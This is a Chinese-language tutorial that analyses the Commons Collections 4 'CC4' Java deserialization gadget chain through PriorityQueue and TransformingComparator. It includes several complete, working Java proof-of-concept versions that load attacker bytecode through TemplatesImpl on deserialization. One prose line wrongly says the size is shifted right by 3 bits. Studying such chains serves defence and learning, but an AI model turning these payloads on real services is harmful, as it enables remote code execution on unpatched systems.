🌸 CC4
CC4
要求的commons-collections
的版本是4.0
的大版本。
其实后半条链是和cc3
一样的,但是前面由于commons-collections
进行了大的升级,所以出现了新的前半段链子。
配置文件:
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
🌸 链子分析
还是从transform
开始分析!查找调用transform
方法的地方:
发现在comparators
对比器中,TransformingComparator
类中的compare
方法中调用了transform
方法!这是一个经典的比较器。
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
继续向前查找谁又调用了compare
方法,当然查找的方法还是一样的,这里的搜索结果就比较多了!
我们期望最好的结果就是某一个类中的readObject
方法中调用了compare
方法。这里就直接看结果,在PriorityQueue
类中的readObject
方法中调用了compare
方法!
PriorityQueue
类实现了Serializable
接口,可以进行序列化。
其代码如上,可以看到在PriorityQueue
类中的readObject
方法的最后,调用了heapify
方法。继续跟进到heapify
方法里面:
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
该方法中通过for
循环去调用了siftDown
方法!for
循环中的i初始化为size
右移3
位。继续跟进到siftDown
方法中:
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
siftDown
方法中,通过if (comparator != null)
判断comparator
是否为空,如果不为空的话,就调用siftDownUsingComparator
方法,继续跟进到这个方法中:
最后在siftDownUsingComparator
方法中,通过comparator.compare()
调用了compare
方法。从而最终实现了代码执行(后面的半条链子就接上了cc3
的链子)。
该类的构造器也是可以直接访问的,传入的参数就是comparator
。
到这里的话,就是比较清晰了:
PriorityQueue#readObject
->PriorityQueue#heapify
->PriorityQueue#siftDown
->siftDownUsingComparator
->TransformingComparator#compare
后续的话就是接上了cc3的链子!
🌸 编写POC
那么就可以尝试写POC
了:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.*;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Comparator;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;
public class CC4 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> templatesClass = templates.getClass();
Field nameFeild = templatesClass.getDeclaredField("_name");
nameFeild.setAccessible(true);
nameFeild.set(templates,"aaa");
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:\\tmp\\Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
//修改_tfactory变量
// Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
// tfactoryField.setAccessible(true);
// tfactoryField.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
//下面回去调用transform方法,这里需要传入参数的Object input,这里的input就是TrAXFilter类的对象
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator comparator = new TransformingComparator(chainedTransformer);
PriorityQueue<Transformer> priorityQueue = new PriorityQueue<>(comparator);
serialization(priorityQueue);
deserialization();
}
public static void serialization(Object o) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc4.ser"));
objectOutputStream.writeObject(o);
objectOutputStream.close();
}
public static void deserialization() throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc4.ser"));
objectInputStream.readObject();
objectInputStream.close();
}
}
但是当我们运行结束的时候,发现并没有执行任何代码。直接就结束了,也没有报错信息~
🌸 解决问题
因为我们想要尝试去执行PriorityQueue
的readObject
方法,所以我们直接尝试下断点到heapify
然后我们尝试进行调试:
跟进到这里我们可以发现size
的结果是0
,接下来执行的是for
循环的第一次,i
的结果就是size>>>1
,在java
中,>>>
的含义是将一个数的二进制数右移几位,并在左侧空出来的位置,使用0
进行填充。因此由于这里的size
就是0
,所以往右移动1
位,还是0
,然后i=0-1
,得到了i=-1
,由于i>=0
这个条件并没有满足,所以整个for
循环就没有进去!
2的二进制为00000010 -------> 00000001(右移一位的结果就是1),
所以我们可以让size
的结果是大于等于2
的结果,此时就会进入for
循环啦!这里有两个方法:
- 首先这里我们看到
size
是private
修饰的,所以我们可以尝试直接通过反射来修改size
的参数值。 - 第二种方式就是可以通过往队列里面放入两个值,也是可以的!
🍂 往队列里面存放值解决
首先我们可以直接往priorityQueue
里面存放队列,add
方法用来增加队列,传递Transformer
就可以了,所以我们尝试传递两个ConstantTransformer
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.*;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Comparator;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;
public class CC4 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> templatesClass = templates.getClass();
Field nameFeild = templatesClass.getDeclaredField("_name");
nameFeild.setAccessible(true);
nameFeild.set(templates,"aaa");
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:\\tmp\\Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
//修改_tfactory变量
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
//下面回去调用transform方法,这里需要传入参数的Object input,这里的input就是TrAXFilter类的对象
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator comparator = new TransformingComparator(chainedTransformer);
PriorityQueue<Transformer> priorityQueue = new PriorityQueue<>(comparator);
priorityQueue.add(new ConstantTransformer(1));
priorityQueue.add(new ConstantTransformer(2));
serialization(priorityQueue);
// deserialization();
}
public static void serialization(Object o) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc4.ser"));
objectOutputStream.writeObject(o);
objectOutputStream.close();
}
public static void deserialization() throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc4.ser"));
objectInputStream.readObject();
objectInputStream.close();
}
}
但是发现代码在序列化的时候,就执行了弹计算器的操作!继续调试:我们发现在我们add
的时候(断点直接下载add
方法中),发现调用了offer
方法:
(第二次add
的时候,由于前面已经是add
了一个值,所以size
变成了1
,然而初始化int i = size
的时候,i的值就变成了 1
)继续跟进到offer
方法中,然而在offer
方法中,其完整的代码如下:
public boolean offer(E e) {
if (e == null)
throw new NullPointerException();
modCount++;
int i = size;
if (i >= queue.length)
grow(i + 1);
size = i + 1;
if (i == 0)
queue[0] = e;
else
siftUp(i, e);
return true;
}
这里就又调用了siftUp
方法,继续跟进:
跟进到siftUp
方法中发现:
调用了siftUpUsingComparator
,再次跟进:
然而在siftUpUsingComparator
方法中,居然就调用了compare
方法,导致了我们的代码执行!所以这里需要通过反射改掉前面的某一个值,这个类似于前面的cc
,比如改掉chainedTransformer
,或者comparator
里面的值就好了!
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.*;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Comparator;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;
public class CC4 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> templatesClass = templates.getClass();
Field nameFeild = templatesClass.getDeclaredField("_name");
nameFeild.setAccessible(true);
nameFeild.set(templates,"aaa");
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:\\tmp\\Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
//修改_tfactory变量
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
//下面回去调用transform方法,这里需要传入参数的Object input,这里的input就是TrAXFilter类的对象
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator comparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue<Transformer> priorityQueue = new PriorityQueue<>(comparator);
//解决for循环不进入的问题
priorityQueue.add(new ConstantTransformer(1));
priorityQueue.add(new ConstantTransformer(2));
Class<? extends TransformingComparator> aClass = comparator.getClass();
Field transformerField = aClass.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(comparator,chainedTransformer);
// serialization(priorityQueue);
deserialization();
}
public static void serialization(Object o) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc4.ser"));
objectOutputStream.writeObject(o);
objectOutputStream.close();
}
public static void deserialization() throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc4.ser"));
objectInputStream.readObject();
objectInputStream.close();
}
}
🍂 反射解决
直接通过反射获取PriorityQueue
这个类的原型类,然后进行获取私有的属性,最后在修改这个属性的参数。
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.*;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Comparator;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;
public class CC4 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> templatesClass = templates.getClass();
Field nameFeild = templatesClass.getDeclaredField("_name");
nameFeild.setAccessible(true);
nameFeild.set(templates,"aaa");
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:\\tmp\\Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
//修改_tfactory变量
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
//下面回去调用transform方法,这里需要传入参数的Object input,这里的input就是TrAXFilter类的对象
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator comparator = new TransformingComparator(chainedTransformer);
PriorityQueue<Transformer> priorityQueue = new PriorityQueue<>(comparator);
Class<? extends PriorityQueue> aClass = priorityQueue.getClass();
Field sizeField = aClass.getDeclaredField("size");
sizeField.setAccessible(true);
sizeField.set(priorityQueue,2);
serialization(priorityQueue);
deserialization();
}
public static void serialization(Object o) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc4.ser"));
objectOutputStream.writeObject(o);
objectOutputStream.close();
}
public static void deserialization() throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc4.ser"));
objectInputStream.readObject();
objectInputStream.close();
}
}
以上代码便可以成功的执行代码!弹出计算器!(这里不需要反射修改chainedTransformer
,或者comparator
的原因是,我们通过反射的方法修改了size
的参数值,并没有利用add
方法,也就不会在序列化的时候,就调用compare
方法,也就不会在序列化的过程中就弹出计算器了)